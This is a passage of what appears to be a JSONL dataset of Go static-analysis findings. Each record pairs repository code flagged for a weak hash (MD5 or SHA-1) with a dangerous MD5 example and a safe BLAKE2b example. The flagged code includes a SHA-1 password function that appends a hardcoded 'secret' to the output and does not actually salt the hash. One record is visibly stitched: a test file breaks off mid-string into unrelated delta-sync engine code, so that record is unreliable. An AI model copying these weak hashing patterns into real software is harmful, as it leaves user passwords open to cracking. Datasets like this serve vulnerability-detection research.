strings.ToUpper(string(each.Name[0])); prefix != string(each.Name[0]) {\n\t\t\treturn \"\", fmt.Errorf(\"defined variable must be exported. %s must be %s%s\", each.Name, prefix, each.Name[1:])\n\t\t}\n\n\t\tif each.DefaultValue == nil {\n\t\t\tvariableLayout = fmt.Sprintf(\"%s\\n%s %s\", variableLayout, each.Name, each.Type)\n\t\t} else {\n\t\t\tswitch each.DefaultValue.(type) {\n\t\t\tcase string:\n\t\t\t\tvariableLayout = fmt.Sprintf(\"%s\\n%s %s = \\\"%v\\\"\", variableLayout, each.Name, each.Type, each.DefaultValue)\n\t\t\tdefault:\n\t\t\t\tvariableLayout = fmt.Sprintf(\"%s\\n%s %s = %v\", variableLayout, each.Name, each.Type, each.DefaultValue)\n\t\t\t}\n\t\t}\n\t}\n\tvariableLayout = fmt.Sprintf(strings.TrimSpace(`var (%s)`), strings.TrimSpace(variableLayout))\n\tcode = strings.Replace(code, \"$variables\", variableLayout, 1)\n\n\t// inject evaluationFormula\n\tcode = strings.Replace(code, \"$evaluationFormula\", e.evaluationFormula, 1)\n\n\treturn code, nil\n}\n\nfunc (e *Eek) buildComplexEvaluation() (string, error) {\n\treturn \"\", fmt.Errorf(\"currently complex evaluation is still not supported\")\n}\n\nfunc (e *Eek) writeToFileThenBuild(code string) error {\n\tname := regexFileName.ReplaceAllString(e.name, \"_\")\n\te.buildPath = filepath.Join(e.baseBuildPath, name)\n\te.buildFilePath = filepath.Join(e.buildPath, fmt.Sprintf(\"%s_%s.so\", name, e.md5(code)))\n\n\tif e.UseCachedBuildForSameFormula {\n\t\tif e.isPathExists(e.buildFilePath) {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tos.RemoveAll(e.buildPath)\n\terr := os.MkdirAll(e.buildPath, os.ModePerm)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmainFilePath := filepath.Join(e.buildPath, \"main.go\")\n\terr = ioutil.WriteFile(mainFilePath, []byte(code), os.ModePerm)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\top := fmt.Sprintf(\"cd %s && %s build -buildmode=plugin -o %s\", e.buildPath, e.goBinaryPath, filepath.Base(e.buildFilePath))\n\n\tvar cmd *exec.Cmd\n\tswitch runtime.GOOS {\n\tcase \"darwin\", \"freebsd\", \"linux\":\n\t\tcmd = exec.Command(\"bash\", \"-c\", op)\n\tcase \"windows\":\n\t\tcmd = exec.Command(\"cmd\", \"/C\", op)\n\tdefault:\n\t\treturn fmt.Errorf(\"unsupported operating system\")\n\t}\n\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%s: %s\", err.Error(), output)\n\t}\n\n\treturn nil\n}\n\n// Evaluate execute using particular data\nfunc (e *Eek) Evaluate(data ExecVar) (interface{}, error) {\n\tif !e.isPathExists(e.buildFilePath) {\n\t\treturn nil, fmt.Errorf(\"build file is not found. please try to rebuild the formula\")\n\t}\n\n\t// open the build file path\n\tp, err := plugin.Open(e.buildFilePath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor varName, varValue := range data {\n\t\tlookedUpVar, err := p.Lookup(varName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t(func() {\n\t\t\t// recover panic error from reflect evaluationFormula\n\t\t\tdefer func() {\n\t\t\t\tif recovered := recover(); recovered != nil {\n\t\t\t\t\trecoveredInString := fmt.Sprintf(\"%v\", recovered)\n\t\t\t\t\trecoveredInString = strings.Replace(recoveredInString, \"reflect.Set: value of type \", \"\", -1)\n\t\t\t\t\trecoveredInString = strings.Replace(recoveredInString, \"is not assignable to type \", \"\", -1)\n\n\t\t\t\t\tif parts := strings.Split(recoveredInString, \" \"); len(parts) == 2 {\n\t\t\t\t\t\terr = fmt.Errorf(\"Error on setting value of variable %s (type %s) with value %v (type %s)\", varName, parts[0], varValue, parts[1])\n\t\t\t\t\t} else {\n\t\t\t\t\t\terr = fmt.Errorf(\"%v\", recoveredInString)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\t// line underneath has a protential to generate a panic error\n\t\t\t// reflect.Set: value of type int is not assignable to type float64\n\t\t\treflect.ValueOf(lookedUpVar).Elem().Set(reflect.ValueOf(varValue))\n\t\t})()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tlookedUpEvaluate, err := p.Lookup(\"Evaluate\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresult := lookedUpEvaluate.(func() interface{})()\n\treturn result, nil\n}\n\nfunc (*Eek) md5(str string) string {\n\thasher := md5.New()\n\thasher.Write([]byte(str))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}\n\nfunc (e *Eek) isPathExists(str string) bool {\n\tif _, err := os.Stat(str); err == nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "41aa5983a883f6423f3ea73a5212fad495b9716604221911a035f407a4f7d7b7", "license": {"spdx": ["MIT"], "repo": "moon004/GoDeezerDL", "path": "aes-ecb-cipher_test.go", "repo_head_hexsha": "d996b2609b56c50d4847f65fdfbd88745bd8d0e1", "stack_hexsha": "2897ebc7f185c97390a610095940c4ebff19973b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 6, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n)\n\nconst (\n\tmd5Origin = \"51afcde9f56a132096c0496cc95eb24b\"\n\tformat = \"3\"\n\tid = \"3135556\"\n\tmediaVersion = \"5\"\n\tfinAnswer = \"9c2ca4649cc23e7905f09324e9fe1d24505a18b97267b56b8deefecb1d62686d2f5a0bea21e1d6dbd9c8f34c691e12dc83cac650c014d41f69d381b0ce749ff5d38c5e89c566677c9cd24555e6c2bc02\"\n)\n\nfunc ErrChecker(t *testing.T, ErrMsg string, err error) {\n\tif err != nil {\n\t\tt.Fatalf(\"%s: %v\", ErrMsg, err)\n\t}\n}\nfunc OnErrorChecker(t *testing.T, err *OnError) {\n\tif err != nil {\n\t\tt.Fatalf(\"%s: %v\", err.Message, err.Error)\n\t}\n}\n\nfunc Equals(t *testing.T, myanswer, expected string) {\n\tif myanswer != expected {\n\t\tt.Errorf(\"Expected %s but I get %s\", expected, myanswer)\n\t}\n}\nfunc TestECBCipher(t *testing.T) {\n\tinPart := bytes.Replace(\n\t\t[]byte(\n\t\t\t\"df4797bef68491542a6963b58bac773d¤51afcde9f56a132096c0496cc95eb24b¤3¤3135556¤5¤\"),\n\t\t[]byte(\"¤\"),\n\t\t[]byte{164},\n\t\t-1,\n\t)\n\ttt := []struct {\n\t\tname string\n\t\tkey []byte\n\t\tin []byte\n\t\tout string\n\t}{\n\t\t{\n\t\t\tname: \"Check Cipher output\",\n\t\t\tkey: []byte(\"jo6aey6haid2Teih\"),\n\t\t\tin: []byte(\"abc\"),\n\t\t\tout: \"90a14c0c4d0104397e5590415b7be2db\", // answer got from nodejs\n\t\t},\n\t\t{\n\t\t\tname: \"Check Cipher output\",\n\t\t\tkey: []byte(\"jo6aey6haid2Teih\"),\n\t\t\tin: []byte(\"hellow World!\"),\n\t\t\tout: \"598ad60562de8421a8223645a44e733e\", // asnwer got from nodejs\n\t\t},\n\t\t{\n\t\t\tname: \"Check Cipher output\",\n\t\t\tkey: []byte(\"jo6aey6haid2Teih\"),\n\t\t\tin: inPart,\n\t\t\tout: finAnswer, // asnwer got from nodejs\n\t\t},\n\t}\n\n\tfor _, tc := range tt {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tinput := Pad(tc.in) // Test the Pad function\n\n\t\t\tif len(input)%aes.BlockSize != 0 {\n\t\t\t\tt.Error(\"Input size is not multiple of block size\")\n\t\t\t}\n\n\t\t\tblock, err := aes.NewCipher(tc.key)\n\t\t\tErrChecker(t, \"Key Error\", err)\n\n\t\t\tciphertext := make([]byte, len(input))\n\t\t\tmode := NewECBEncrypter(block)\n\t\t\tmode.CryptBlocks(ciphertext, input)\n\t\t\tEquals(t, fmt.Sprintf(\"%x\", ciphertext), tc.out)\n\t\t})\n\t}\n}\n\nfunc TestMD5(t *testing.T) {\n\tx := bytes.Replace(\n\t\t[]byte(\"51afcde9f56a132096c0496cc95eb24b¤3¤3135556¤5\"), []byte(\"¤\"), []byte{164}, -1)\n\ttt := []struct {\n\t\tname string\n\t\tin []byte\n\t\tout string\n\t}{\n\t\t{\n\t\t\tname: \"Check md5 Output\",\n\t\t\tin: []byte(\"abc\"),\n\t\t\tout: \"900150983cd24fb0d6963f7d28e17f72\", // answer got from nodejs\n\t\t},\n\t\t{\n\t\t\tname: \"Check md5 Output\",\n\t\t\tin: []byte(\"hellow World!asddasdsadsada\"),\n\t\t\tout: \"880480d8b39ae846cefe8a60fe80f120\", // asnwer got from nodejs\n\t\t},\n\t\t{\n\t\t\tname: \"Check md5 Output\",\n\t\t\tin: x,\n\t\t\tout: \"df4797bef68491542a6963b58bac773d\", // asnwer got from nodejs\n\t\t},\n\t\t{\n\t\t\tname: \"Check md5 Output\",\n\t\t\tin: []byte(\"3135556\"),\n\t\t\tout: \"29a15fc70fb278009ab6988ce9a422e8\", // asnwer got from nodejs\n\t\t},\n\t}\n\n\tfor _, tc := range tt {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\n\t\t\tmd5Sum := md5.Sum(tc.in)\n\t\t\tout := fmt.Sprintf(\"%x\", md5Sum)\n\n\t\t\tEquals(t, out, tc.out)\n\t\t})\n\t}\n}\n\nfunc TestBlowFish(t *testing.T) {\n\ttt := []struct {\n\t\tname string\n\t\tin string\n\t\tout string\n\t}{\n\t\t{\n\t\t\tname: \"Test Blowfish output\",\n\t\t\tin: \"3135556\",\n\t\t\tout: \"llfk9f,7e%u` s.BlockSize {\n\t\treturn errors.New(\"last block size greater than block size\")\n\t}\n\n\tif len(s.Hashes) == 0 {\n\t\treturn errors.New(\"non-0 block size with no block hashes\")\n\t}\n\n\treturn nil\n}\n\nfunc (s *Signature) isEmpty() bool {\n\n\treturn s.BlockSize == 0\n}\n\nfunc (o *Operation) EnsureValid() error {\n\n\tif o == nil {\n\t\treturn errors.New(\"nil operation\")\n\t}\n\n\tif len(o.Data) > 0 {\n\t\tif o.Start != 0 {\n\t\t\treturn errors.New(\"data operation with non-0 block start index\")\n\t\t} else if o.Count != 0 {\n\t\t\treturn errors.New(\"data operation with non-0 block count\")\n\t\t}\n\t} else if o.Count == 0 {\n\t\treturn errors.New(\"block operation with 0 block count\")\n\t}\n\n\treturn nil\n}\n\nfunc (o *Operation) Copy() *Operation {\n\n\tvar data []byte\n\tif len(o.Data) > 0 {\n\t\tdata = make([]byte, len(o.Data))\n\t\tcopy(data, o.Data)\n\t}\n\n\treturn &Operation{\n\t\tData: data,\n\t\tStart: o.Start,\n\t\tCount: o.Count,\n\t}\n}\n\nfunc (o *Operation) resetToZeroMaintainingCapacity() {\n\n\to.Data = o.Data[:0]\n\n\to.Start = 0\n\to.Count = 0\n}\n\nfunc (o *Operation) isZeroValue() bool {\n\treturn len(o.Data) == 0 && o.Start == 0 && o.Count == 0\n}\n\nconst (\n\tminimumOptimalBlockSize = 1 << 10\n\tmaximumOptimalBlockSize = 1 << 16\n\tDefaultBlockSize = 1 << 13\n\tDefaultMaximumDataOperationSize = 1 << 14\n)\n\nfunc OptimalBlockSizeForBaseLength(baseLength uint64) uint64 {\n\tresult := uint64(math.Sqrt(24.0 * float64(baseLength)))\n\n\tif result < minimumOptimalBlockSize {\n\t\tresult = minimumOptimalBlockSize\n\t} else if result > maximumOptimalBlockSize {\n\t\tresult = maximumOptimalBlockSize\n\t}\n\n\treturn result\n}\n\nfunc OptimalBlockSizeForBase(base io.Seeker) (uint64, error) {\n\tif currentOffset, err := base.Seek(0, io.SeekCurrent); err != nil {\n\t\treturn 0, errors.Wrap(err, \"unable to determine current base offset\")\n\t} else if currentOffset < 0 {\n\t\treturn 0, errors.Wrap(err, \"seek return negative starting location\")\n\t} else if length, err := base.Seek(0, io.SeekEnd); err != nil {\n\t\treturn 0, errors.Wrap(err, \"unable to compute base length\")\n\t} else if length < 0 {\n\t\treturn 0, errors.New(\"seek returned negative offset\")\n\t} else if _, err = base.Seek(currentOffset, io.SeekStart); err != nil {\n\t\treturn 0, errors.Wrap(err, \"unable to reset base\")\n\t} else {\n\t\treturn OptimalBlockSizeForBaseLength(uint64(length)), nil\n\t}\n}\n\ntype OperationTransmitter func(*Operation) error\n\ntype Engine struct {\n\tbuffer []byte\n\tstrongHasher hash.Hash\n\tstrongHashBuffer []byte\n\ttargetReader *bufio.Reader\n\toperation *Operation\n}\n\nfunc NewEngine() *Engine {\n\tstrongHasher := sha1.New()\n\n\treturn &Engine{\n\t\tstrongHasher: strongHasher,\n\t\tstrongHashBuffer: make([]byte, strongHasher.Size()),\n\t\ttargetReader: bufio.NewReader(nil),\n\t\toperation: &Operation{},\n\t}\n}\n\nfunc (e *Engine) bufferWithSize(size uint64) []byte {\n\tif uint64(cap(e.buffer)) >= size {\n\t\treturn e.buffer[:size]\n\t}\n\n\te.buffer = make([]byte, size)\n\treturn e.buffer\n}\n\nconst (\n\tm = 1 << 16\n)\n\nfunc (e *Engine) weakHash(data []byte, blockSize uint64) (uint32, uint32, uint32) {\n\tvar r1, r2 uint32\n\tfor i, b := range data {\n\t\tr1 += uint32(b)\n\t\tr2 += (uint32(blockSize) - uint32(i)) * uint32(b)\n\t}\n\tr1 = r1 % m\n\tr2 = r2 % m\n\n\tresult := r1 + m*r2\n\n\treturn result, r1, r2\n}\n\nfunc (e *Engine) rollWeakHash(r1, r2 uint32, out, in byte, blockSize uint64) (uint32, uint32, uint32) {\n\n\tr1 = (r1 - uint32(out) + uint32(in)) % m\n\tr2 = (r2 - uint32(blockSize)*uint32(out) + r1) % m\n\n\tresult := r1 + m*r2\n\n\treturn result, r1, r2\n}\n\nfunc (e *Engine) strongHash(data []byte, allocate bool) []byte {\n\n\te.strongHasher.Reset()\n\n\te.strongHasher.Write(data)\n\n\tvar output []byte\n\tif !allocate {\n\t\toutput = e.strongHashBuffer[:0]\n\t}\n\n\treturn e.strongHasher.Sum(output)\n}\n\nfunc (e *Engine) Signature(base io.Reader, blockSize uint64) (*Signature, error) {\n\n\tif blockSize == 0 {\n\t\tif baseSeeker, ok := base.(io.Seeker); ok {\n\t\t\tif s, err := OptimalBlockSizeForBase(baseSeeker); err == nil {\n\t\t\t\tblockSize = s\n\t\t\t} else {\n\t\t\t\tblockSize = DefaultBlockSize\n\t\t\t}\n\t\t} else {\n\t\t\tblockSize = DefaultBlockSize\n\t\t}\n\t}\n\n\tresult := &Signature{\n\t\tBlockSize: blockSize,\n\t}\n\n\tbuffer := e.bufferWithSize(blockSize)\n\n\teof := false\n\tfor !eof {\n\n\t\tn, err := io.ReadFull(base, buffer)\n\t\tif err == io.EOF {\n\t\t\tresult.LastBlockSize = blockSize\n\t\t\tbreak\n\t\t} else if err == io.ErrUnexpectedEOF {\n\t\t\tresult.LastBlockSize = uint64(n)\n\t\t\teof = true\n\t\t} else if err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"unable to read data block\")\n\t\t}\n\n\t\tweak, _, _ := e.weakHash(buffer[:n], blockSize)\n\t\tstrong := e.strongHash(buffer[:n], true)\n\n\t\tresult.Hashes = append(result.Hashes, &BlockHash{\n\t\t\tWeak: weak,\n\t\t\tStrong: strong,\n\t\t})\n\t}\n\n\tif len(result.Hashes) == 0 {\n\t\tresult.BlockSize = 0\n\t\tresult.LastBlockSize = 0\n\t}\n\n\treturn result, nil\n}\n\nfunc (e *Engine) BytesSignature(base []byte, blockSize uint64) *Signature {\n\tresult, err := e.Signature(bytes.NewReader(base), blockSize)\n\tif err != nil {\n\t\tpanic(errors.Wrap(err, \"in-memory signature failure\"))\n\t}\n\n\treturn result\n}\n\ntype dualModeReader interface {\n\tio.Reader\n\tio.ByteReader\n}\n\nfunc min(a, b uint64) uint64 {\n\tif a < b {\n\t\treturn a\n\t}\n\treturn b\n}\n\nfunc (e *Engine) transmitData(data []byte, transmit OperationTransmitter) error {\n\t*e.operation = Operation{\n\t\tData: data,\n\t}\n\n\treturn transmit(e.operation)\n}\n\nfunc (e *Engine) transmitBlock(start, count uint64, transmit OperationTransmitter) error {\n\n\t*e.operation = Operation{\n\t\tStart: start,\n\t\tCount: count,\n\t}\n\n\treturn transmit(e.operation)\n}\n\nfunc (e *Engine) chunkAndTransmitAll(target io.Reader, maxDataOpSize uint64, transmit OperationTransmitter) error {\n\n\tif maxDataOpSize == 0 {\n\t\tmaxDataOpSize = DefaultMaximumDataOperationSize\n\t}\n\n\tbuffer := e.bufferWithSize(maxDataOpSize)\n\n\tfor {\n\t\tif n, err := io.ReadFull(target, buffer); err == io.EOF {\n\t\t\treturn nil\n\t\t} else if err == io.ErrUnexpectedEOF {\n\t\t\tif err = e.transmitData(buffer[:n], transmit); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to transmit data operation\")\n\t\t\t}\n\t\t\treturn nil\n\t\t} else if err != nil {\n\t\t\treturn errors.Wrap(err, \"unable to read target\")\n\t\t} else if err = e.transmitData(buffer, transmit); err != nil {\n\t\t\treturn errors.Wrap(err, \"unable to transmit data operation\")\n\t\t}\n\t}\n}\n\nfunc (e *Engine) Deltafy(target io.Reader, base *Signature, maxDataOpSize uint64, transmit OperationTransmitter) error {\n\n\tif maxDataOpSize == 0 {\n\t\tmaxDataOpSize = DefaultMaximumDataOperationSize\n\t}\n\n\tif len(base.Hashes) == 0 {\n\t\treturn e.chunkAndTransmitAll(target, maxDataOpSize, transmit)\n\t}\n\n\tvar coalescedStart, coalescedCount uint64\n\tsendBlock := func(index uint64) error {\n\t\tif coalescedCount > 0 {\n\t\t\tif coalescedStart+coalescedCount == index {\n\t\t\t\tcoalescedCount += 1\n\t\t\t\treturn nil\n\t\t\t} else if err := e.transmitBlock(coalescedStart, coalescedCount, transmit); err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tcoalescedStart = index\n\t\tcoalescedCount = 1\n\t\treturn nil\n\t}\n\tsendData := func(data []byte) error {\n\t\tif len(data) > 0 && coalescedCount > 0 {\n\t\t\tif err := e.transmitBlock(coalescedStart, coalescedCount, transmit); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcoalescedStart = 0\n\t\t\tcoalescedCount = 0\n\t\t}\n\t\tfor len(data) > 0 {\n\t\t\tsendSize := min(uint64(len(data)), maxDataOpSize)\n\t\t\tif err := e.transmitData(data[:sendSize], transmit); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdata = data[sendSize:]\n\t\t}\n\t\treturn nil\n\t}\n\n\tbufferedTarget, ok := target.(dualModeReader)\n\tif !ok {\n\t\te.targetReader.Reset(target)\n\t\tbufferedTarget = e.targetReader\n\t\tdefer func() {\n\t\t\te.targetReader.Reset(nil)\n\t\t}()\n\t}\n\n\thashes := base.Hashes\n\thaveShortLastBlock := false\n\tvar lastBlockIndex uint64\n\tvar shortLastBlock *BlockHash\n\tif base.LastBlockSize != base.BlockSize {\n\t\thaveShortLastBlock = true\n\t\tlastBlockIndex = uint64(len(hashes) - 1)\n\t\tshortLastBlock = hashes[lastBlockIndex]\n\t\thashes = hashes[:lastBlockIndex]\n\t}\n\tweakToBlockHashes := make(map[uint32][]uint64, len(hashes))\n\tfor i, h := range hashes {\n\t\tweakToBlockHashes[h.Weak] = append(weakToBlockHashes[h.Weak], uint64(i))\n\t}\n\n\tbuffer := e.bufferWithSize(maxDataOpSize + base.BlockSize)\n\n\tvar occupancy uint64\n\n\tvar weak, r1, r2 uint32\n\n\tfor {\n\t\tif occupancy == 0 {\n\t\t\tif n, err := io.ReadFull(bufferedTarget, buffer[:base.BlockSize]); err == io.EOF || err == io.ErrUnexpectedEOF {\n\t\t\t\toccupancy = uint64(n)\n\t\t\t\tbreak\n\t\t\t} else if err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to perform initial buffer fill\")\n\t\t\t} else {\n\t\t\t\toccupancy = base.BlockSize\n\t\t\t\tweak, r1, r2 = e.weakHash(buffer[:occupancy], base.BlockSize)\n\t\t\t}\n\t\t} else if occupancy < base.BlockSize {\n\t\t\tpanic(\"buffer contains less than a block worth of data\")\n\t\t} else {\n\t\t\tif b, err := bufferedTarget.ReadByte(); err == io.EOF {\n\t\t\t\tbreak\n\t\t\t} else if err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to read target byte\")\n\t\t\t} else {\n\t\t\t\tweak, r1, r2 = e.rollWeakHash(r1, r2, buffer[occupancy-base.BlockSize], b, base.BlockSize)\n\t\t\t\tbuffer[occupancy] = b\n\t\t\t\toccupancy += 1\n\t\t\t}\n\t\t}\n\n\t\tpotentials := weakToBlockHashes[weak]\n\t\tmatch := false\n\t\tvar matchIndex uint64\n\t\tif len(potentials) > 0 {\n\t\t\tstrong := e.strongHash(buffer[occupancy-base.BlockSize:occupancy], false)\n\t\t\tfor _, p := range potentials {\n\t\t\t\tif bytes.Equal(base.Hashes[p].Strong, strong) {\n\t\t\t\t\tmatch = true\n\t\t\t\t\tmatchIndex = p\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif match {\n\t\t\tif err := sendData(buffer[:occupancy-base.BlockSize]); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to transmit data preceding match\")\n\t\t\t} else if err = sendBlock(matchIndex); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to transmit match\")\n\t\t\t}\n\t\t\toccupancy = 0\n\t\t} else if occupancy == uint64(len(buffer)) {\n\t\t\tif err := sendData(buffer[:occupancy-base.BlockSize]); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to transmit data before truncation\")\n\t\t\t}\n\t\t\tcopy(buffer[:base.BlockSize], buffer[occupancy-base.BlockSize:occupancy])\n\t\t\toccupancy = base.BlockSize\n\t\t}\n\t}\n\n\tif haveShortLastBlock && occupancy >= base.LastBlockSize {\n\t\tpotentialLastBlockMatch := buffer[occupancy-base.LastBlockSize : occupancy]\n\t\tif w, _, _ := e.weakHash(potentialLastBlockMatch, base.BlockSize); w == shortLastBlock.Weak {\n\t\t\tif bytes.Equal(e.strongHash(potentialLastBlockMatch, false), shortLastBlock.Strong) {\n\t\t\t\tif err := sendData(buffer[:occupancy-base.LastBlockSize]); err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"unable to transmit data\")\n\t\t\t\t} else if err = sendBlock(lastBlockIndex); err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"unable to transmit operation\")\n\t\t\t\t}\n\t\t\t\toccupancy = 0\n\t\t\t}\n\t\t}\n\t}\n\n\tif err := sendData(buffer[:occupancy]); err != nil {\n\t\treturn errors.Wrap(err, \"unable to send final data operation\")\n\t}\n\n\tif coalescedCount > 0 {\n\t\tif err := e.transmitBlock(coalescedStart, coalescedCount, transmit); err != nil {\n\t\t\treturn errors.Wrap(err, \"unable to send final block operation\")\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (e *Engine) DeltafyBytes(target []byte, base *Signature, maxDataOpSize uint64) []*Operation {\n\n\tvar delta []*Operation\n\n\ttransmit := func(o *Operation) error {\n\t\tdelta = append(delta, o.Copy())\n\t\treturn nil\n\t}\n\n\treader := bytes.NewReader(target)\n\n\tif err := e.Deltafy(reader, base, maxDataOpSize, transmit); err != nil {\n\t\tpanic(errors.Wrap(err, \"in-memory deltafication failure\"))\n\t}\n\n\treturn delta\n}\n\nfunc (e *Engine) Patch(destination io.Writer, base io.ReadSeeker, signature *Signature, operation *Operation) error {\n\n\tif len(operation.Data) > 0 {\n\n\t\tif _, err := destination.Write(operation.Data); err != nil {\n\t\t\treturn errors.Wrap(err, \"unable to write data\")\n\t\t}\n\t} else {\n\n\t\tif _, err := base.Seek(int64(operation.Start)*int64(signature.BlockSize), io.SeekStart); err != nil {\n\t\t\treturn errors.Wrap(err, \"unable to seek to base location\")\n\t\t}\n\n\t\tfor c := uint64(0); c < operation.Count; c++ {\n\n\t\t\tcopyLength := signature.BlockSize\n\t\t\tif operation.Start+c == uint64(len(signature.Hashes)-1) {\n\t\t\t\tcopyLength = signature.LastBlockSize\n\t\t\t}\n\n\t\t\tbuffer := e.bufferWithSize(copyLength)\n\n\t\t\tif _, err := io.ReadFull(base, buffer); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to read block data\")\n\t\t\t} else if _, err = destination.Write(buffer); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"unable to write block data\")\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (e *Engine) PatchBytes(base []byte, signature *Signature, delta []*Operation) ([]byte, error) {\n\n\tbaseReader := bytes.NewReader(base)\n\n\toutput := bytes.NewBuffer(nil)\n\n\tfor _, o := range delta {\n\t\tif err := e.Patch(output, baseReader, signature, o); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn output.Bytes(), nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "b4f05c656306dd97d4967c13ea659855ba0ff1b00b27b490a80c62b0b4bfd425", "license": {"spdx": ["MIT"], "repo": "SkyzcYou/bifrost", "path": "internal/pkg/password/password.go", "repo_head_hexsha": "3b801303495c80f2247fbfe515fdaff9543d653f", "stack_hexsha": "5c5b2a0425cef570a1c3bbfc7c4a295bced309d5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package password\n\nimport (\n\t\"crypto/sha1\"\n\t\"fmt\"\n)\n\nvar Secret = \"invisible_cloak\" // 加盐\n//var Secret = \"\" // 加盐\n\nfunc Password(passwd string) string {\n\tsha1Inst := sha1.New()\n\tsha1Inst.Write([]byte(passwd))\n\treturn fmt.Sprintf(\"%x\", sha1Inst.Sum([]byte(Secret)))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": 